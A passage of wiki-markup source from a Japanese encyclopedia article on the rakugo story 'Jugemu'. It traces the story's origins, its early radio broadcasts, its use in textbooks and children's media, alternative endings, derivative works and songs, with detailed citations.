</ref>。しかし無量寿経に言及しないバージョンも、1910年代当時からあった<ref group="F" name="三遊亭福圓遊1912_寿限無" />。なお、実際の無量寿経に「寿限無」という語は無い<ref name="謎学の旅1_寿限無">{{Cite book|和書|title=謎学の旅|publisher=二見書房|date=1990-06-25|pages=206|editor=[[日本テレビ]]社会情報局|series=TVムック 謎学の旅|language=ja|isbn=4576900684|chapter=寿限無はどこの子? 長名伝説の謎|volume=1|location=東京}}
* pp204-212:第3章7話『寿限無はどこの子? 長名伝説の謎』
** p206引用:「さて、落語を聞いていると{{Interp|…}}『無量寿経という経文の中に、寿限無というのがあるがどうじゃ。』」
** p206: 実際の『無量寿経』には「寿限無」という単語はない旨を説明。
* 本書記載以外の補足:
** 本話の結論:『寿限無』と似た話が日本各地の民話にもある。『寿限無』の起源はわからない。
</ref>。
=== 民話起源説 ===
『[[長い名の子]]』タイプの[[民話]]と落語『寿限無』は類話である<ref name="日本昔話通観研究編2_1998">{{Cite book|title=日本昔話通観 研究編2 日本昔話と古典|chapter=857 長い名の子|publisher=同朋舎|date=1998-03-31|pages=604-605|editor-last=稲田|editor-first=浩二|editor-link=稲田浩二|isbn=4810424901}}</ref>。
日本の[[昔話]](民話)の学術的な収集が始まったのは1910年代からで<ref name="日本昔話名彙1948">{{Cite encyclopedia|title=長い名の子供|encyclopedia=日本昔話名彙|editor=日本放送協会|publisher=日本放送出版協会|date=1948-03-01|pages=223-224|language=ja|url=https://dl.ndl.go.jp/info:ndljp/pid/1124189/126|id={{NDLJP|1124189}}}}
* p1 [[柳田国男]]『昔話のこと』:「日本の昔話採集はまだ三十余年の歴史しか持って居りません。」
* pp223-224:『長い名前の子供』報告一覧
**「長崎県 江戸のものに近い」とあるが、本表に江戸の項は無い。
</ref>、これは書物の『欲からしづむ淵』や『一子に異名を付けて後悔せし話』よりも後である。
寿限無の出典は昔話集『[[聴耳草紙]]』かもしれないという説があった<ref name="野村1943">{{Cite book|和書|title=落語通談|publisher=高松書房|date=1943-09-15|pages=pp171-172|author=野村無名庵|author-link=野村無名庵|language=ja|NCID=BN06630164|chapter=横町の隠居}}
*記載以外の補足:『聴耳草紙』から引用した子の名に転記誤りあり:
**聴耳草紙(1931):「チヤンバチヤク助」「マンマル入道」「エアウツク」「ショウゴの神」「まだ咲ァき」
**落語通談(1943):「チヤンバラチヤク助」「マンマル人道」「ニアウツク」「ジョウゴの神」「まだ咲ァ」
<!--出典の糸口: {{Cite web|url=http://books.salterrae.net/amizako/html2/nomurarakugotsuudann.txt|title=落語通談|accessdate=2021-11-30|website=網迫の「質より量」|chapter=横町の隠居|language=ja|archiveurl=https://web.archive.org/web/20141219143926/http://books.salterrae.net/amizako/html2/nomurarakugotsuudann.txt|archivedate=2014-12-19|url-status=live}}--></ref>。『聴耳草紙』は岩手県の昔話集で1931年刊行。『長い名の子』話は三種掲載されている<ref name="佐々木1931" />。そのうちの一話は著者[[佐々木喜善]](1886年生<ref name="NDLauth_佐々木喜善">{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00067370|title=佐々木, 喜善, 1886-1933 |accessdate=2022-02-23 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}</ref>)自身が幼少期の回想から復元したものだが<ref name="佐々木1931">{{Cite book|和書|title=聴耳草紙|publisher=三元社|date=1931-01-25|pages=502-504|last=佐々木|first=喜善|author-link=佐々木喜善|url=|language=ja|chapter=163番 長い名前|location=東京|id={{JPNO|46081539}}|chapterurl=https://hdl.handle.net/2027/keio.10810659077?urlappend=%3Bseq=528}}
*pp502-503:「一丁ぎりの二丁ぎりの…」。著者注記:「私の祖父のよく語った話であった。稚い記憶の中から。」
*pp503-504:「チョウニンチョウニン…」。著者注記:「出所忘却」(成立時期不記載)
*p504:「{{読み仮名|一束百束ヘソの守|いっそくひゃくそくへそのかみ}}…」。著者注記:「田中喜多美氏のご報告」(成立時期不記載)
*記載以外の補足:
**pp503-504:「チョウニンチョウニン…」、『農民俚譚』では朧澤郡昔話としている({{Cite book|和書|title=農民俚譚|publisher=一誠社|date=1934-05-19|page=47|last=佐々木|first=喜善|author-link=佐々木喜善|editor-last=本山<!--モトヤマ-->|editor-first=桂川<!--ケイセン-->|editor-link=本山桂川|language=ja|NCID=BA33489941|chapter=膽澤郡昔話 - 長い名をつけて失敗した話|location=東京|doi=10.11501/1235623|id={{NDLJP|1235623}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1235623/30|chapter-url-access=registration}}{{要登録}})。
</ref>、遡れるのはそこまでである。『聴耳草紙』掲載のバージョンが『長い名の子』話の起源だといえる理由は示されていない。
=== マスメディアと子供向け ===
公共放送では内容に関する制約が厳しく、放送可能な落語の演目は限られていたが、『寿限無』は公共放送でも放送可能であった。<ref name="NHK1931">{{Cite book|和書|title=ラヂオ年鑑|publisher=誠文堂|date=1931-2-25|page=302|editor=日本放送協会|editor-link=日本放送協会|volume=昭和6年|id={{NDLJP|1907532/171}}|chapter=大衆演芸と放送|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1907532/171}}</ref>。
1925年に日本の[[ラジオ|公共ラジオ放送]]が始まると{{r|"NHK1933"|page=110}}、さっそく翌年1926年正月の放送番組に「落語 寿限無」が組まれた。演者は[[春風亭柳枝 (4代目)|春風亭華柳]]である。同日付の新聞には解説とフルネーム「じげむじげむ{{Interp|…}}」・あらすじ・落ち「瘤がひっこんでしまった」が掲載されている<ref name="読売新聞19260108">{{cite news|title=よみうりラヂオ版|newspaper=読売新聞 朝刊|date=1926-01-08|pages=9-10|language=ja}}
*p9 今日の放送番組: 東京JOAK「落語 壽限無 春風亭 花柳」; 大阪JOBKと名古屋JOCKの番組表には「壽限無」なし
*p10 「落語 壽限無(午後八時ごろ):
**春風亭華柳は、前年に寄席への出演を引退済。
**春風亭華柳による解説の概要: 寿限無は落語家の入門演目で、私も弟子に最初に教えるのが『たらち{{読み仮名|女|おんな}}』{{ママ}}『錦明竹』『{{読み仮名|寿|じゆ}}限{{読み仮名|無|む}}』だ。昔から有名な落語だが、最近は廃れてきた。今回は皇孫誕生にちなんで、めでたい演目として寿限無を選んだ。
**子の名:「じげむじげむ ごこうのすりきれ、かいぢやり、すゐぎよの、すいぎうばつ うんばつに ふうらいばつ くうねるところ、すむところ やうぶらこうぢに、ぶらこうぢ、ぱいぽぱいぽぱいぽのしりが、しいろがどうりんだい、どうりんだいの ぽんぽこな ぽんぽこなの、ぽんぽこぴ、ちようきうめのちようすけ」(旧漢字・仮名遣いは原文のまま。繰り返し記号は展開)
**落ち:「瘤がひっこんでしまった」
* 記載以外の補足:
**春風亭華柳は1868年生 - 1927年没({{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00492722 |title=春風亭, 柳枝 4代目, 1868-1927 |accessdate=2022-02-23 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}})
** この時期に誕生した皇孫としては照宮成子([[東久邇成子]])がいる。
</ref>。したがってラジオを持たない者でも概要を知ることができた。
ラジオ放送と同じ1926年に、雑誌『[[少年倶楽部]]』も「落語 寿限無」を掲載した<ref group="F" name="少年倶楽部1926-06">{{Cite journal|和書|journal=少年倶楽部|author=呑気屋気楽|title=落語 寿限無|volume=13|date=1926-06-01|publisher=[[大日本雄辯會]]|language=ja|location=東京|oclc=6083714|id={{NCID|AA11256668}}}}(大正15年。原綴『落語 壽限無』呑氣屋氣樂。[[宮尾しげを]]画。大日本雄辯會は後の講談社)
* p112:依頼先:隠居。p115: 落ちは「瘤が引っ込んでしまった」。
</ref>。
1932年にラジオ放送受信契約の加入総数が百万件を超えた<ref name="NHK1933" />。同1932年に『子供の時間』枠で[[柳家権太楼 (初代)|柳家権太楼]]による「寿限無」が放送され<ref name="NHK1933">{{Cite book|title=ラヂオ年鑑|publisher=日本放送出版協会|date=1933-06-10|page=271|editor=日本放送協会|editor-link=日本放送協会|volume=昭和8年|id={{NDLJP|1260073/155}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1260073/155}}
*業績大観 p70: 加入総数百万突破
*放送事業略歴 p110: 1925年試験放送開始
*子供の時間 講談・落語 p271: 『落語(寿限無)』柳家権太郎{{ママ}} 昭和7年7月26日放送
*pp467-472: 落語
**p469: {{Interp|落語業界には}}放送出演者は高座禁止という掟があるが、前年に有力な寄席が「ラジオに出ないような芸人だけでは番組ができない」という理由で脱会したので、内規は廃止されるだろうと筆者は予測している。
**p472: 『寿限無』柳家権太郎{{ママ}} 昭和7年7月26日放送
</ref>、同日新聞の番組紹介欄には寿限無のフルネームが掲載された<ref name="朝日新聞19330726">{{Cite news|title=『壽限無』の長助 - 長い長い赤ちゃんの名前(後7時50分落語)柳家権太楼|newspaper=[[東京朝日新聞]]|issue=朝刊|date=1932-07-26|page=9|language=ja}}(昭和7年)
*子の名「壽限無、壽限無、五劫のスリキレ、海砂利、水魚の水行末、雲來末、風來末、食ふ寝るところに住むところ、ヤブラコウヂブラコウヂ、パイポパイポパイポのシユウリンガン、グウリンダイのポンポコピイのポンポコナの長久命の長助」(旧漢字・仮名遣いは原文のまま。繰り返し文字は展開。なお、本紙面は原則振り仮名付きだが、子の名の部分だけ振り仮名が無い)
*放送番組表:『寿限無』は東京局(JOAK)・長野局・静岡局で放送予定だが、大阪局・京都局・名古屋局・秋田局などでは別番組となっている。
</ref>。柳家権太楼は後に同番組名を冠した子供向け落語集も出版した<ref group="F" name="柳家権太楼1941">{{Cite book|和書|title=子供の時間 新作お伽落語集|publisher=大道書房|date=1941-12-15|pages=83-90|author=柳家権太楼|author-link=柳家権太楼 (初代)|language=ja|chapter=長い名前|id={{NDLJP|1873670/50}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1873670/50}}</ref>。
『寿限無』は、[[寄席]]以外で出番が多い落語である。八代目林家正蔵([[林家彦六]]、1895年 - 1982年)は[[ホール落語]]でも演じた<ref name="ライブラリー落語事典1982">{{Cite book|title=寿限無|encyclopedia=ライブラリー落語事典 東京編|publisher=弘文出版|date=1982-11-30|page=251|last=保田<!--やすだ-->|first=武宏<!--たけひろ-->|language=ja|isbn=4-87520-022-6}}</ref>。子供向けの本も複数出ている。2006年時点の調査によれば『寿限無』は、当時の寄席での興行頻度と比べて、子供向けの落語の本での採用頻度が高かった<ref name="宮川健郎2006">{{Cite journal|和書|author=宮川健郎<!--Miyakawa Takeo--> |date=2006 |title=「落語絵本」の研究 : メディアを横断する児童文化(【特集】加工行為としての<文学>) |url=https://doi.org/10.20620/nihonbungaku.55.1_62 |journal=日本文学 |ISSN=03869903 |publisher=日本文学協会 |volume=55 |issue=1 |pages=63 |doi=10.20620/nihonbungaku.55.1_62}}</ref>。[[広辞苑]](初版1955年)は、1991年刊の第4版から寿限無のフルネーム部分を掲載している<ref name="広辞苑4版">{{Cite encyclopedia|title=じゅげむ【寿限無】|page=1230|encyclopedia=[[広辞苑]]|edition=4版第2刷|publisher=岩波書店|origyear=4版第1刷1991-11-15|date=1992-11-17|editor=新村出|language=ja|ISBN=4-00-080103-1}}
* 「やぶら小路ぶら小路(藪柑子とも)」
</ref><ref name="広辞苑3版">3版({{Cite book|title=[[広辞苑]]|edition=3版|publisher=岩波書店|date=1983-12-01|editor=新村出|language=ja|id={{JPNO|84046298}}}})に「寿限無」の項無し。</ref>。
=== 教材化 ===
早口言葉や『長い名の子』(『寿限無』含む)といった[[言葉遊び]]を[[言語教育]]の教材として活用しようという案は、20世紀初頭から提唱されてきた<ref name="菅原_心理研究1919">{{Cite journal|和書|journal=心理研究|year=1919|title=発音遊戯|volume=16|last=菅原|first=教造|issue=95|pages=1-24 (通巻463-486)|language=ja|DOI=10.4992/jjpsy1912.16.463|ISSN=1884-1066}}
*p24: 国語教育への発音遊戯の活用提起
*本論文は素材の出典を記載していない。
</ref>。
[[テレビ番組|テレビ放送]]は、[[教育番組]]でも『寿限無』を採り上げている<ref name="NHK_eTV19890508">例: {{Cite web|和書|url=https://www.nhk.or.jp/archives/chronicle/detail/?crnid=A198905081030001300200 |title=番組名 にんぎょうげき「じゅげむ じゅげむ」|accessdate=2022-07-05 |website=NHKクロニクル |quote=放送日時 アナログ教育 1989年05月08日(月)午前10:30 - 午前10:45 |language=ja|archive-url=https://archive.today/ONAZZ|archive-date=2022-07-05}}</ref>。なかでも2003年から、『[[にほんごであそぼ]]』で寿限無のフルネーム部分<ref name="NHKにほんごであそぼ_寿限無">{{Cite web|和書|url=https://www.nhk.or.jp/kokugo/nihongo/?das_id=D0005150386_00000|title=ちょちょいのちょい暗記「寿限無(じゅげむ)」|accessdate=2019-11-14|publisher=[[日本放送協会]]|website=NHK for School|work=[[にほんごであそぼ]]<!--|archive-url=https://web.archive.org/web/20201101020859/https://www2.nhk.or.jp/school/movie/outline.cgi?das_id=D0005150386_00000|archive-date=2020-11-01|url-status=live-->}}</ref>を放映して好評を得ている<ref name="坂上2011">{{Cite journal|和書|journal=チャイルド・サイエンス|title=子どもメディア・言葉と文化をめぐる考察 - 第37 回「日本賞」教育コンテンツ国際コンクールから|volume=7 (2010年度)|page=29|last=坂上<!--[https://kodomogakkai.jp/pdf/vol_10_sakaue.pdf p33「さかうえひろこ」]-->|first=浩子|date=2011-03-01|url=https://kodomogakkai.jp/m/pdf/vol_7_sakagami.pdf|publisher=日本こども学会|language=ja|format=pdf|accessdate=2021-12-10<!--|archiveurl=https://web.archive.org/web/20211210115701/https://kodomogakkai.jp/m/pdf/vol_7_sakagami.pdf|archivedate=2021-12-10-->}}(巻号目次: [https://kodomogakkai.jp/03/07.html 学会誌『チャイルド・サイエンスVOL.7』2011年03月発刊])</ref>。この頃、全生徒に寿限無の名を[[暗唱]]させる小学校もあった<ref name="毎日新聞20031127">{{Cite web|和書|url=http://www.mainichi.co.jp/edu/edunews/0311/27-1.html |title=「寿限無」CD化、授業にも 横須賀の大矢部小では全員で暗唱 |accessdate=2022-02-03 |publisher=毎日新聞 |date=2003-11-27 |website=毎日インタラクティブ |quote=(毎日新聞2003年11月27日神奈川版から) |language=ja |archiveurl=https://web.archive.org/web/20031203235208/http://www.mainichi.co.jp/edu/edunews/0311/27-1.html |archivedate=2003-11-27 |deadlinkdate=2022-02-03}}</ref><ref>{{Cite journal|和書|journal=研究紀要/東京学芸大学附属竹早中学校|year=2005|title=小中をつなぐ古典学習の提案(1) : 和歌(『万葉集』)・『竹取物語』を事例として|page=14|last=森|first=顕子|url=https://hdl.handle.net/2309/111889|issue=47|language=ja}}</ref>。
2005年度(平成17年度)から小学校国語[[文部科学省検定済教科書|教科書]]2種が『寿限無』を掲載した<ref name="中嶋真弓2005">{{Cite journal|和書|journal=学び舎 : 教職課程研究|title=2005年度版小学校国語科教科書における古典教材採録のあり方|page=71|last=中嶋<!--NAKASHIMA-->|first=真弓<!--Mayumi-->|date=2008-03-31|url=https://hdl.handle.net/10638/987|publisher=愛知淑徳大学教育学会|language=ja|ISSN=1881-0306}}</ref>。一部の教科書で紹介されている図書<ref name="東京都立図書館2012">{{Cite web|和書|url=https://www.library.metro.tokyo.lg.jp/junior/puratanasu/61/ |title=ぷらたなす61号 |access-date=2022-07-13 |publisher=東京都立図書館 |year=2012 |month=3 |pages=3年生の国語教科書紹介本のリスト(PDF:305KB) p8 |language=ja|ref={{Sfnref|東京都立図書館|2012}}}}</ref>『落語絵本 じゅげむ』(1998年刊)では、一般的なストーリーとは逆に、寿限無の方が友達に殴られてこぶができる内容だった<ref group="F" name="川端誠1998">{{Cite book|和書|title=落語絵本 じゅげむ|publisher=クレヨンハウス|date=1998-04-01|last=川端|first=誠|language=ja|isbn=490637980X}} (本書はページ番号無い)
* 本書は一部の小学校国語科教科書で紹介されている{{Harv|東京都立図書館|2012}}。
* 巻末筆者あとがきの概要:「やあぶらこうじのやぶこうじ」ではなくて「やあぶらこうじのぶらこうじ」が正しいのでは、という指摘を受ける。しかし落語では両方の例があり、どちらでもよいと考える。絵本向けとしては「やぶこうじ」という植物名を明示するために「やあぶらこうじのやぶこうじ」を選定した。
</ref>。
{{anchors|夏休みになっちゃった}}
===「夏休みになっちゃった」===
「こぶが引っ込んでしまった」とは違う落ちとして、新入学の朝から寿限無の名前を呼んで起こしているうちに「夏休みになっちゃった」、というバージョンが1996年までに現れた<ref group="F" name="三遊亭圓窓1996_寿限無">{{Cite book|和書|title=おもしろ落語図書館 その1|publisher=大日本図書|date=1996-03-10|page=20|author=三遊亭円窓|author-link=三遊亭圓窓|language=ja|isbn=4-477-00645-4|chapter=寿限無|location=東京}}
* pp9-20:『寿限無』
** p9: 和尚「沢善」
** p12:「無量寿経」
** p20:「夏休みになっちゃったぁ!」
</ref>。六代目[[三遊亭圓窓]]は、自分がこのサゲを考案したとしている。人の死や喧嘩の描写を避けたかったからだという<ref name="三遊亭圓窓_寿限無_2006">{{Cite web|和書|url=http://www.ensou-dakudaku.net/furrok/si.html#66 |title=圓窓五百噺ダイジェスト(し行)圓窓五百噺ダイジェスト66 寿限無(じゅげむ) |access-date=2022-06-18 |author=三遊亭圓窓 |website=円窓落語大百科事典 |language=ja |archive-url=https://web.archive.org/web/20071219065349/http://www.ensou-dakudaku.net/furrok/si.html#66 |archive-date=2007-12-19}}</ref>。
2005年度版小学校国語教科書の一つ<ref group="F" name="教育出版_奨学国語4下_2005">{{Cite book|和書|title=ひろがる言葉 小学国語4 下|publisher=教育出版|date=2004-02-10|chapter=もっと読みたい - 寿限無(落語) 三遊亭円窓|page=124|edition=2005年|language=ja|isbn=4-316-20025-9|NCID=BA71719886|location=東京}} 小学校国語教科書</ref>や、NHKが2006年に放映した趣味講座<ref name="NHK趣味悠々番組表2006">{{Cite web|和書|url=https://www.nhk.or.jp/archives/chronicle/detail/?crnid=A200612272200001300200 |title=番組名 趣味悠々 落語をもっとたのしもう 第4回「オチがあるから落語です」 |access-date=2022-06-18 |website=[[NHK]] NHKクロニクル 過去の番組表 番組詳細 |language=ja}}</ref><ref group="F" name="森真由美2018">{{Cite thesis|和書|author=森真由美 |title=落語を利用した日本語教育の研究 |volume=金城学院大学 |series=博士(文学) 甲第66号 |year=2018 |naid=500001082993 |url=http://id.nii.ac.jp/1096/00000940/|page=47}}
* p43 本論文の参照元書誌: {{Cite AV media|title=NHK趣味悠々「落語をもっとたのしもう」 上巻・落語「寿限無」に挑戦!|orig-year=2006|date=2007-08-17|newspaper=DVD|author=NHK|authorlink=日本放送協会|publisher=ポニーキャニオン|id=PCBE-51649|language=ja}}</ref>で「夏休みになっちゃった」が採用されている。
== 派生 ==
『寿限無』を元にした新作落語がいくつか存在する。[[三笑亭夢之助]]の『寿限無』『[[たらちね (落語)|たらちね]]』を混ぜた『{{読み仮名|寿限垂|じゅげたら}}』<ref name="落語大百科2001_寿限無" />、[[桂福團治|4代目桂福團治]]の『大人になった寿限無』<ref name="落語大百科2001_寿限無" />、[[三遊亭白鳥]]の『スーパー寿限無』。[[三遊亭圓丈|3代目三遊亭圓丈]]『新・寿限無』では[[遺伝子工学]]の先生が名付け親となる<ref>「五劫の擦り切れ」が「[[クローン]]の擦り切れ」など、遺伝子工学、生物学の用語となっている。{{Cite encyclopedia|title=寿限無|encyclopedia=古典・新作落語事典|publisher=丸善出版|date=2016-08-25|page=139|last=瀧口|first=雅仁|edition=2刷|language=ja|isbn=978-4-621-30035-0|location=東京|origyear=2016}}</ref>。他に[[笑福亭笑子]]の『新・寿限無』や[[林家つる子]]の『長い名前』がある。後者は国際色豊かな[[小学校]]のあるクラスが舞台で、外国人の児童たちがことごとく長い名前だったため全員の出席を取るだけで下校時刻になってしまう、という内容だった。
== 似た要素のある落語 ==
* [[金明竹]] - 長い伝言<ref "落語名作全集立風書房1967_金明竹">{{Cite book|和書|title=落語名作全集|publisher=立風書房|year=1967|pages=178-200|author=三代目三遊亭金馬|autho-link=三遊亭金馬 (三代目)|editor-last=小島|editor-first=貞二|language=ja|NCID=BN11523833|chapter=金明竹|volume=3|doi=10.11501/1668191|id={{NDLJP|1668191}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1668191/93|url-access=registration}}{{要登録}}</ref>。
* [[たらちね (落語)]] - 名前の説明までを、長い名前の一部と勘違いするくだりがある<ref name="三遊亭福圓遊1912_たらちね">{{cite book|和書|author=三遊亭福円遊|authorlink=三遊亭福圓遊|title=滑稽百面相|chapter=たらちね|date=1912-06-07|language=ja|publisher=三芳屋|pages=135-146|doi=10.11501/891285|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/891285/76|id={{NDLJP|891285}}}}</ref>。鶴女の父の[[字]]は「五光」{{r|"三遊亭福圓遊1912_たらちね"|page=143}}。
== 『寿限無』に由来する事物 ==
* 寿限無は[[安政江戸地震]]で死んだ<ref name="あけぼの1985">引用例: {{Cite journal|和書|journal=あけぼの|title=名まえ雑学ゼミナール|volume=3|page=69|date=1985-11-10|url=https://dl.ndl.go.jp/info:ndljp/pid/1859417/36|issue=2|publisher=全国電気通信労働組合|language=ja|DOI=10.11501/1859417|location=東京|id={{NCID|AN10194589}} {{JPNO|00039807}}|url-acess=registration}}{{要登録}}</ref>、そして113文字の巨大な墓石が建てられた、というバージョンがある。これは1956年頃に落語評論家[[安藤鶴夫]]が書いた派生作品である<ref name="安藤鶴夫1959">{{Cite book|和書|title=落語国・紳士録|publisher=青蛙房|year=1959|pages=58-60|last=安藤|first=鶴夫|author-link=安藤鶴夫|language=ja|NCID=BN10923803|chapter=寿限無|location=東京|id={{JPNO|59004647}}}}
* 初出誌の書誌: 昭和31年5月-昭和33年12月(1956年-1958年)連載 {{Cite journal|和書|journal=週刊東京|title=落語国・紳士録|last=安藤|first=鶴夫|author-link=安藤鶴夫|publisher=東京新聞社|id={{NCID|AA11403547}} {{JPNO|00010867}}}}</ref>。
* {{anchors|鈴木寿限無}}1999年頃ジョークサイトに『寿限無の墓』と題して、主人公「鈴木寿限無」とその高さ33 mの墓の小話が掲示された<ref><!--個人サイトだが、「鈴木寿限無」を真に受ける者がいるため一次資料として参照する-->{{Cite web|和書|url=http://www.asahi-net.or.jp:80/%7Eec4t-sn/extra/jugemu.htm |title=新東京百景 寿限無の墓 |accessdate=2021-12-26 |author=ゐんば |website=短い・鋭い・ばかばかしい ゐんばの大型小説の世界 |language=ja |archiveurl=https://web.archive.org/web/19990429121149/http://www.asahi-net.or.jp:80/%7Eec4t-sn/extra/jugemu.htm |archivedate=1999-04-29 |deadlinkdate=1921-12-26}}<!--
*画像アーカイブ最古版: {{Cite web |url=http://matsuri.site.ne.jp:80/extra/jugemu.htm |title=新東京百景 寿限無の墓 |accessdate=2021-12-26 |author=佐野祭 |website=佐野祭 ENTERTAINMENT WEB SITE |language=ja |archiveurl=https://web.archive.org/web/20010220154409/http://matsuri.site.ne.jp:80/extra/jugemu.htm |archivedate=2001-02-20 |deadlinkdate=2021-12-26}}--></ref>。
* [[お笑いコンビ]]の「海砂利水魚」(現・[[くりぃむしちゅー]])。
* [[任天堂]]の[[テレビゲーム]]『[[マリオシリーズ|スーパーマリオシリーズ]]』に登場する、[[ジュゲム]]や[[トゲゾー|パイポ]]、シューリンガン([[パックンフラワー|フーフーパックン]]や[[ガボン (ゲームキャラクター)|ガボン]]が使うトゲ付きの鉄球)、グーリンダイ(ジュゲムが投げ、パックンフラワーに変化する球)、ポコピーとポコナ([[マリオストーリー]]に登場するジュゲム)。
* [[藤子・F・不二雄]]の[[漫画]]『[[21エモン]]』の「久しぶりだね5エモンくん」というエピソードにジュゲム星のチョーキューメーという名前の宇宙人が登場する。ジュゲム星人は地球人と比較して長生きの種族で、チョーキューメーは[[江戸時代]](劇中の時代から地球時間で約300年前)の地球([[江戸]])に来たことがある。
* 藤子・F・不二雄の漫画『[[モジャ公]]』の「自殺集団」というエピソードにジュゲム三番星フェニックスと言う星が登場する。二つの月が一つになった時、シューリン効果が発生し、グーリンダイ線を放射し始めた。これによってカイジャリスイギョ現象が起き、フェニックス人を不死に変えた。一番若いフェニックス人は一万歳のパイポである。
* [[空知英秋]]の漫画『[[銀魂]]』に登場するキャラクター、ビチグソ丸の本名(フルネーム)が「寿限無寿限無」で始まる192字の名前である<ref>[https://www.animatetimes.com/news/details.php?id=1519625445 「創刊50周年記念 週刊少年ジャンプ展VOL.3-2000年代〜、進化する最強雑誌の現在(いま)-」公式ビジュアルと会期情報を初公開!]、アニメイトタイムズ、2018年2月26日。</ref>。
* [[メディアファクトリー]]刊行の[[ゲーム雑誌]]『[[じゅげむ (ゲーム雑誌)|じゅげむ]]』(創刊時は「寿限夢」と漢字表記)。
* [[平和 (パチンコ)|平和]]の[[パチンコ]]機([[羽根モノ]])『寿限無』。
* [[詰将棋]]の変種「[[変則将棋|フェアリー詰将棋]]」の一種「ばか詰め」中の1万手を超える作品『寿限無<ref>[https://www.ne.jp/asahi/tetsu/toybox/kato/fbaka4.htm 協力詰(ばか詰) 1001手~] - [https://www.ne.jp/asahi/tetsu/toybox/index.htm 詰将棋おもちゃ箱] 2016年9月13日閲覧。</ref>』
* [[壽限無]] - 酒米の品種<ref>{{Cite web|和書|url=http://www.hinshu2.maff.go.jp/gazette/touroku/contents/288touroku.html |title=品種登録公表 第288回(平成24年9月25日官報告示) |publisher=農林水産省 |website=品種登録ホームページ |access-date=2022-07-16 |language=ja}}</ref>。
* [[日本テレビ]]の演芸番組『[[笑点]]』で、この寿限無を題材にした問題が出されたことがある。内容は「寿限無が何をやってその結果どうなったか」を挙げる物だが、'''「寿限無の名前は必ずフルネームで言わなければならない」'''という決まりがあり、出演者の[[桂歌丸]]は最後に「[[三遊亭圓楽 (5代目)|圓楽さん]]、圓楽さん、こんな問題出さないでよ」とぼやいていた[https://www.ntv.co.jp/sho-ten/02_week/031012/week_02.html]。
=== 『寿限無』に由来する楽曲 ===
; 寿限無
: 作曲:[[山下洋輔]]
: 楽曲ジャンルは[[ジャズ]]
:
; 寿限無の嘆き
: 作詞:池田豊和、作曲:和田昭治、歌:[[デューク・エイセス]]など
;
; 寿限無No.1!
: 作詞:[[森雪之丞]]、作曲:[[芹澤廣明]]、歌:[[嘉門達夫]]
;
; [[狭心症 (曲)|寿限夢]]
: 作詞・作曲:[[野田洋次郎]]、歌:[[RADWIMPS]]
;
; 寿限無
: 作詞・作曲:[[リピート山中]]、歌:[[桂雀三郎]]withまんぷくブラザーズ
;
; ジュゲムシーケンサー
: 作詞・作曲:ぼーかりおどP
;
; 吹奏楽のための綺想曲『じゅげむ』
: 作曲:[[足立正 (作曲家)|足立正]]
: 2012年度[[全日本吹奏楽コンクール]]課題曲III
; JUGEM
: 作詞:古典落語・川崎敏郎、作曲・編曲:関川秀行、歌:[[大江戸台風族]]
; ジュゲム 〜こち亀バージョン〜
: 作詞:古典落語・川崎敏郎 、作曲・編曲:関川秀行、歌:両津勘吉and大江戸台風族
: [[こちら葛飾区亀有公園前派出所 (アニメ)|アニメ『こちら葛飾区亀有公園前派出所』]]エンディングテーマ
; JUGEMU
: 作詞・作曲:一聖、歌:[[BugLug]]
; [[ニッポン笑顔百景]]
: 作詞・作曲・編曲:[[前山田健一]]、歌:[[ももいろクローバーZ]](名義:桃黒亭一門)
: 落語をテーマにしたテレビアニメ「[[じょしらく]]」エンディングテーマ。前奏に合わせて、メンバーが『寿限無』を披露している。
=== 日本以外 ===
* 韓国で1969年から1985年に渡って放映されたTVコメディ番組[[:ko:웃으면 복이와요]]では、オープニングにコメディアン[[:ko:구봉서]](ク・ボンソ)が「{{lang|ko|김수한무 거북이와 두루미 삼천갑자 동방삭}}…」(キム・スハンム{{interp|…}}<ref name="KTV2017">「キム・スハンム」フルネーム音声例: {{YouTube time|rqNObMD7fGo|영웅들의 귀환 김수한무 거북이와 두루미... 기억하시나요? 환상의 듀오 구봉서 곽규석|time=0h0m39s}} ([[KTV国民放送]]チャンネル)</ref>(金 壽限無{{interp|…}}))で始まる72文字<ref name="京郷新聞2016">{{Cite web |url=https://m.khan.co.kr/culture/culture-general/article/201608291533001 |title=전설의 '수한무' 코미디 |access-date=2022-05-03 |author=이기환 |date=2016-08-29 |website=[[京郷新聞]] (韓国) |language=ko |archive-url=https://web.archive.org/web/20220503040521/https://m.khan.co.kr/culture/culture-general/article/201608291533001 |archive-date=2022-05-03 |url-status=live}}</ref>の長い名前を唱えて人気を博した<ref name="朝鮮日報2016">{{Cite web |url=https://www.chosun.com/site/data/html_dir/2016/08/29/2016082900581.html |title=웃기 때문에 행복한 거예요. 웃어야 복이 오는 거예요 |access-date=2022-05-03 |author=양지호 |date=2016-08-29 |website=[[朝鮮日報]] (韓国)|language=ko |archive-url=https://web.archive.org/web/20211229194615/https://www.chosun.com/site/data/html_dir/2016/08/29/2016082900581.html|archive-date=2021-12-29 |url-status=live}}</ref>。この名はク・ボンソが『寿限無』など日本の文献から組み合わせて作ったものである<ref name="朝鮮日報2016" />。「キム・スハンム{{interp|…}}」は2010年の韓流ドラマ[[シークレット・ガーデン (テレビドラマ)]]でも呪文として使われた<ref name="eDaily2011">{{Cite web |url=https://www.edaily.co.kr/news/read?newsId=01190646596120016&mediaCodeNo=258 |title=현빈 "김 수한무 거북이와 두루미~...끝까지 외운다" |access-date=2022-05-03 |author=김영환 |date=2011-01-21 |website=edaily.co.kr |language=ko |archive-url=https://web.archive.org/web/20220503075735/https://www.edaily.co.kr/news/read?newsId=01190646596120016&mediaCodeNo=258 |archive-date=2022-05-03 |url-status=live}}</ref>。
== 出典 ==
=== F:『寿限無』全文 ===
{{Reflist|group="F"}}
=== 他の出典 ===
{{Reflist}}
== 関連項目 ==
{{Wikisource}}
* [[長大語]] - 長い人名、地名、単語
* [[言葉遊び]]
* 長命
** [[不老長寿]]
** [[高齢で死去した著名人一覧]]
==外部リンク==
全文
